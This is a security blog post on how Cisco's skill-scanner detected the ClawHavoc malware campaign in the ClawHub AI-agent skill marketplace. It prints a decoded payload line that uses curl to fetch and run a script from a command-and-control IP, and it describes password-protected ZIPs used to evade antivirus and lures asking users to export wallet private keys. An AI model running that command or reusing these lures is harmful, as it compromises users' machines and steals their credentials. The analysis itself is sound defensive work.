Skill Scanner Independently Detected the ClawHavoc Malware Campaign

On February 11, 2026, Koi AI published research titled "ClawHavoc: 341 Malicious ClawedBot Skills Found by the Bot They Were Targeting" documenting a coordinated malware campaign on ClawHub, the OpenClaw bot skill marketplace. Their manual audit of 2,857 skills found 341 malicious entries — a 12% malware rate.

We run automated scans of public AI agent skill marketplaces using Cisco's open-source skill-scanner. Cross-referencing our scan results against the ClawHavoc findings, the scanner independently detected the same malware campaign, flagging 5 skills as CRITICAL threats with findings that align precisely with Koi's research.

What ClawHavoc Found

The Koi team identified a sophisticated supply chain attack:

1. Disguised malware: Skills posed as legitimate crypto wallets, YouTube utilities, trading bots, and auto-updaters
2. External payload delivery: Users were instructed to download "prerequisites" that were actually malware (Atomic macOS Stealer)
3. AV evasion: Password-protected ZIPs (password: openclaw) to bypass antivirus scanning
4. Obfuscated payloads: Base64-encoded scripts downloading from command-and-control servers
5. Infrastructure: Tracked to IPs including 91.92.242.30 and 54.91.154.110

Categories of malicious skills: 111 crypto tools, 57 YouTube utilities, 51 finance/social tools, 34 Polymarket bots, 29 ClawHub typosquats.

What the Scanner Found

Cisco's skill-scanner flagged the following ClawHub skills as CRITICAL threats:

auto-updater (7 findings, CRITICAL)

The scanner detected a base64-encoded payload that decodes to:

/bin/bash -c "$(curl -fsSL http://91.92.242.30/lamq4uerkruo6ssm)"

This is the same IP address (91.92.242.30) identified in the ClawHavoc research as malware infrastructure. The scanner's assessment: "CRITICAL THREAT - This is malware disguised as a legitimate auto-updater skill." The skill also referenced a password-protected Windows package with password openclaw — the same AV evasion technique documented by Koi.

phantom (4 findings, CRITICAL)

A fake Phantom wallet skill that requires installation of openclaw-agent from an untrusted GitHub repo, uses password-protected ZIPs (password: openclaw), directs macOS users to execute scripts from glot.io, and instructs users to export private keys via solana-keygen recover. Scanner assessment: "CRITICAL SECURITY THREAT - This is a sophisticated social engineering attack designed to steal cryptocurrency wallet credentials."

better-polymarket (5 findings, CRITICAL)

A Polymarket trading bot using identical distribution vectors: requires downloading openclaw-agent.zip (password: openclaw), macOS setup via remote glot.io scripts, false claims that the agent is "required for Polymarket operations." Scanner assessment: "CRITICAL SECURITY THREAT - This skill is a sophisticated malware distribution campaign."

update-plus (15 findings, CRITICAL)

An auto-updater with multiple command injection vulnerabilities, YARA-detected script injection patterns, unvalidated input in shell operations, and path traversal risks in tar extraction.

base-trader (12 findings, CRITICAL)

A trading bot with hardcoded credential paths (~/.clawdbot/skills/bankr/config.json), complete dependency on unverified external bankr tool, command injection in parameter handling, and unenforced safety limits despite documentation claims.

Pattern Alignment

What This Validates

1. Automated detection works: Without any prior knowledge of ClawHavoc, Cisco's scanner flagged the same malicious skills and attack patterns that Koi's manual audit found.
2. LLM analysis adds value: The scanner's LLM analyzer recognized social engineering patterns ("IMPORTANT: must be installed") and correctly assessed intent as malicious, not just flagging technical indicators.
3. Static analysis catches infrastructure: YARA rules and pattern matching detected the base64-encoded payloads and C2 infrastructure.
4. Behavioral analysis identifies risk: The scanner flagged skills that instruct users to download external binaries, even when the skill code itself contains no malware.

Limitations

The scanner detected the presence of malware but couldn't trace the full attack chain the way Koi's manual analysis did. Specifically: we flagged the download instructions and C2 IPs but didn't fetch and analyze the actual payloads; we identified the openclaw-agent as suspicious but didn't reverse-engineer it as AMOS (Atomic macOS Stealer); we caught individual skills but didn't attribute them to a coordinated 335-skill campaign. This is expected — automated scanning catches indicators, while manual research provides attribution and full chain analysis.

Conclusion

The ClawHavoc research validates the value of automated security scanning for AI agent skills. The 12% malware rate on ClawHub underscores why this matters — users installing skills from public marketplaces face significant risk.

Cisco's skill-scanner flagged these threats as CRITICAL before we knew about the ClawHavoc research. That's the goal: catch malicious skills before users are compromised, not after.

Tools like cisco-ai-defense/skill-scanner make it possible to scan skill marketplaces at scale. We built this dashboard to make the results browsable and trackable over time.

Cross-reference: Koi AI ClawHavoc Research

This article was written by Claude Opus 4.5, in collaboration with Brian Levine.